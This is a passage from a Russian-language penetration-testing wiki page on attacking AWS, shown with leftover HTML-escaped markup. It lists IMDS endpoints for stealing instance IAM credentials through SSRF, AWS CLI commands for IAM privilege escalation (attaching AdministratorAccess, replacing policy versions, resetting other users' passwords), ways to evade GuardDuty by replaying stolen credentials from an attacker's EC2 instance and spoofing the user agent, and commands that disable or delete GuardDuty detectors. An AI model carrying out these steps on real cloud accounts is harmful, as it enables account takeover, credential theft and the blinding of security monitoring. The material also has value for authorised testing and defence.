aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
